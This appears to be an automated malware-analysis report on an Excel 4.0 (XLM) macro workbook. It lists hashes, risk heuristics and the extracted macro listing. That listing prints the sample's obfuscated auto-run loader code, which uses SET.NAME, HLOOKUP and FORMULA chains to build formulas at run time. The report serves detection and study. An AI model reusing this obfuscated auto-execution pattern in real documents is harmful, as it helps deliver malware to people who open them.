Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 feaad907695381d9…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:58 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 0c5f827a8e61710b7e8e20946bd0d43a SHA-1: 9b6a4b9b871b7d50f610997a37dc5886d970a651 SHA-256: feaad907695381d9d9f4e143e916e45bd8f919c365c5b7611727b75ac4d9a95d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6507 bytes
SHA-256: 2143f095b30ba0ea5b1352cc26ab71aa2fa0b60825c6a137a9cfde460700b592
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  olSf
' 0018     22 LABEL : Cell Value, String Constant - AsHPqEJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I177 
' 0018     26 LABEL : Cell Value, String Constant - enHtdlLsUHB len=0 
' 0018     26 LABEL : Cell Value, String Constant - FyyNTfiZqRv len=0 
' 0018     26 LABEL : Cell Value, String Constant - GBouvdjyPxg len=0 
' 0018     22 LABEL : Cell Value, String Constant - isdxaFc len=0 
' 0018     26 LABEL : Cell Value, String Constant - JaSKUsZFOwD len=0 
' 0018     21 LABEL : Cell Value, String Constant - jbZjeI len=0 
' 0018     27 LABEL : Cell Value, String Constant - kMnHNRXOdVWZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - MyLLYCGu len=0 
' 0018     27 LABEL : Cell Value, String Constant - nxTvwZIYNrSu len=0 
' 0018     24 LABEL : Cell Value, String Constant - ODIRwvcCJ len=0 
' 0018     24 LABEL : Cell Value, String Constant - oWRhekafH len=0 
' 0018     24 LABEL : Cell Value, String Constant - oZLUQiyTZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - PLyBzCul len=0 
' 0018     24 LABEL : Cell Value, String Constant - RIYLWIjmT len=0 
' 0018     22 LABEL : Cell Value, String Constant - rMhVuFf len=0 
' 0018     22 LABEL : Cell Value, String Constant - RTTOsEb len=0 
' 0018     24 LABEL : Cell Value, String Constant - TuEgojsVX len=0 
' 0018     23 LABEL : Cell Value, String Constant - wLzTmUeI len=0 
' 0018     27 LABEL : Cell Value, String Constant - xkpTucGjodga len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  olSf,I84,"SET.NAME("GBouvdjyPxg",VALUE("0"))",""
'  olSf,I86,"SET.NAME("oZLUQiyTZ",GBouvdjyPxg)",""
'  olSf,I91,"SET.NAME("AsHPqEJ",GBouvdjyPxg)",""
'  olSf,I96,"SET.NAME("FyyNTfiZqRv",COUNTA(enHtdlLsUHB))",""
'  olSf,I99,"SET.NAME("MyLLYCGu",COUNTA(RTTOsEb))",""
'  olSf,I103,[],""
'  olSf,I105,"SET.NAME("ODIRwvcCJ","")",""
'  olSf,I108,"oZLUQiyTZ",""
'  olSf,I113,"SET.NAME("nxTvwZIYNrSu",HLOOKUP("*",enHtdlLsUHB,oZLUQiyTZ,FALSE))",""
'  olSf,I116,"JaSKUsZFOwD",""
'  olSf,I118,"SET.NAME("xkpTucGjodga",GBouvdjyPxg)",""
'  olSf,I122,[],""
'  olSf,I124,"xkpTucGjodga",""
'  olSf,I127,"jbZjeI",""
'  olSf,I132,"rMhVuFf",""
'  olSf,I137,"TuEgojsVX",""
'  olSf,I142,"SET.NAME("kMnHNRXOdVWZ",VALUE(HLOOKUP("*",RTTOsEb,TuEgojsVX,FALSE)))",""
'  olSf,I147,"oWRhekafH",""
'  olSf,I150,"ODIRwvcCJ",""
'  olSf,I154,"AsHPqEJ",""
'  olSf,I158,NEXT(),""
'  olSf,I163,"isdxaFc",""
'  olSf,I165,"SET.NAME("f",INT(T(FORMULA(T(ODIRwvcCJ)&"",""&T(isdxaFc)))))",""
'  olSf,I170,"RIYLWIjmT",""
'  olSf,I173,NEXT(),""
'  olSf,I175,RETURN(),""
'  olSf,I205,"SET.NAME("PLyBzCul",I84)",""
'  olSf,I210,"enHtdlLsUHB",""
'  olSf,I212,"SET.NAME("RTTOsEb",R69C12)",""
'  olSf,I216,"SET.NAME("RIYLWIjmT",223)",""
'  olSf,I219,"SET.NAME("wLzTmUeI",9)",""
'  olSf,I222,PLyBzCul(),""
'  olSf,I223,HALT(),""

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